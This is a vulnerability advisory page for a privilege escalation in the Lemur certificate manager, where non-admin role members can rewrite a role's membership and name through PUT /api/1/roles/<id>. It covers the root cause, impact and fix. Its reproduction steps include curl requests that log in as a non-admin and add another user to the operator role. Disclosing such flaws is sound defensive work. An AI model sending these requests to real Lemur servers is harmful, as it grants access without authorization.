Średnia

Lemur Privilege Escalation: Non-admin role members can rewrite role membership via PUT /api/1/roles/<id>

  • Ujawniono: 25.06.2026
  • Aktualizacja: 11.10.2026 14:17

Summary

The PUT /api/1/roles/<id> handler in lemur/roles/views.py gates only on RoleMemberPermission(role_id).can(), which is satisfied for any user who is already a member of the target role. The handler then passes data["users"] and data["name"] directly to service.update(), permitting any role member to rewrite that role's membership list and name. The companion DELETE handler on the same resource is correctly gated by @admin_permission.require; the asymmetry between PUT and DELETE on identical resources indicates an authorization oversight rather than a deliberate design choice.

Root Cause

lemur/roles/views.py:298:

python
permission = RoleMemberPermission(role_id)
if permission.can():
    return service.update(
        role_id, data["name"], data.get("description"), data.get("users")
    )
return dict(message="You are not authorized to modify this role."), 403
 
@admin_permission.require(http_exception=403)
def delete(self, role_id):
    ...

lemur/auth/permissions.py:56:

python
class RoleMemberPermission(Permission):
    def __init__(self, role_id):
        needs = [RoleNeed("admin"), RoleMemberNeed(role_id)]
        super().__init__(*needs)

flask_principal.Permission.allows() is OR-semantic across needs, so RoleMemberPermission(role_id).can() returns True if the caller is either an admin or a member of role_id. The PUT handler treats membership-of-self as sufficient to mutate the role; DELETE does not.

Affected Endpoints

Method Path Source
PUT /api/1/roles/<id> lemur/roles/views.py:298

Impact

A user who is a member of role X can:

  • Add other users to role X, granting them whatever certificate/authority access role X confers. In installs that delegate certificate or authority ownership to non-admin roles, this promotes arbitrary users to peer of every other role member.
  • Remove other users from role X, denying their access (availability / governance impact).
  • Rename role X to an arbitrary string. The "rename to admin" path is blocked by the unique=True constraint on Role.name and by strict equality in User.is_admin, so direct self-promotion to admin via rename is not possible on default installs. The principal exploitation surface is membership rewriting and lateral promotion of colluders within roles the attacker already belongs to.

Remediation

Add @admin_permission.require(http_exception=403) to Roles.put, mirroring the existing decorator on Roles.delete:

python
@admin_permission.require(http_exception=403)
def put(self, role_id, data=None):
    ...

If selective delegation is intended (role owners managing their own roles), that capability should be modeled with a dedicated permission class whose Needs reflect role ownership rather than membership, and the name field should be excluded from the mutable schema on that delegated path.

Steps to Reproduce

  1. Set up Lemur with default configuration. Create an admin user admin, and two non-admin users alice and bob. Add alice to the built-in operator role; leave bob with no roles or with read-only only.

  2. Authenticate as alice and capture the JWT:

    bash
    curl -X POST https://lemur.local/api/1/auth/login \
         -H "Content-Type: application/json" \
         -d '{"username":"alice","password":"<alice_pw>"}'
  3. Confirm the initial state - bob is not a member of operator:

    bash
    curl https://lemur.local/api/1/roles?filter=name;operator \
         -H "Authorization: Bearer <admin_jwt>"
    # observe: alice present in users list, bob absent
  4. As alice, send a PUT that injects bob into the operator role:

    bash
    curl -X PUT https://lemur.local/api/1/roles/<operator_role_id> \
         -H "Authorization: Bearer <alice_jwt>" \
         -H "Content-Type: application/json" \
         -d '{
               "name": "operator",
               "description": "modified by alice",
               "users": [{"id": <alice_id>}, {"id": <bob_id>}]
             }'
    # observe: HTTP 200
  5. Confirm bob is now a member of operator:

    bash
    curl https://lemur.local/api/1/roles?filter=name;operator \
         -H "Authorization: Bearer <admin_jwt>"
    # observe: bob now present in users list

Step 4 succeeds despite alice not being an admin. The same handler also accepts a name field; substituting "name": "operator_v2" in step 4 renames the role, demonstrating the second variant of the bug.

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Python (PyPI) lemur < 1.9.2 1.9.2

Odnośniki

Ocena CVSS 6.3/10
Wektor CVSS
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
Słabość (CWE)
CWE-863
Platforma
Python (PyPI)
Paczka
lemur
Ujawniono
25.06.2026
Aktualizacja
11.10.2026 14:17

Źródła i licencje

OSV / GitHub Advisory Database - PYSEC-2026-2591 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-x3vf-mgxj-7785 - CC BY 4.0

Historia podatności: lemur

Wszystkie opisane podatności tej paczki (Python (PyPI)), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkie (18) w archiwum
Wszystkich wpisów
18
Pierwsza → ostatnia
08.2017 08.2026
Bez poprawki
0
Wykorzystywana w atakach
0

Rozkład istotności

  • Krytyczna 1
  • Wysoka 9
  • Średnia 8

Ujawnienia w latach

  1. 2017: 1
  2. 2018: 0
  3. 2019: 0
  4. 2020: 0
  5. 2021: 0
  6. 2022: 0
  7. 2023: 1
  8. 2024: 0
  9. 2025: 0
  10. 2026: 16
Istotność:
  1. Krytyczna · 9.9 CVE-2026-55166 < 1.9.2 1.9.2
  2. Lemur Privilege Escalation: Non-admin role members can rewrite role membership via PUT /api/1/roles/<id> ten wpis
    Średnia · 6.3 CVE-2026-55163 < 1.9.2 1.9.2
  3. Wysoka · 7.5 CVE-2023-30797 < 1.3.2 1.3.2
  4. Wysoka · 7.5 CVE-2015-7764 < 0.1.5 0.1.5

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.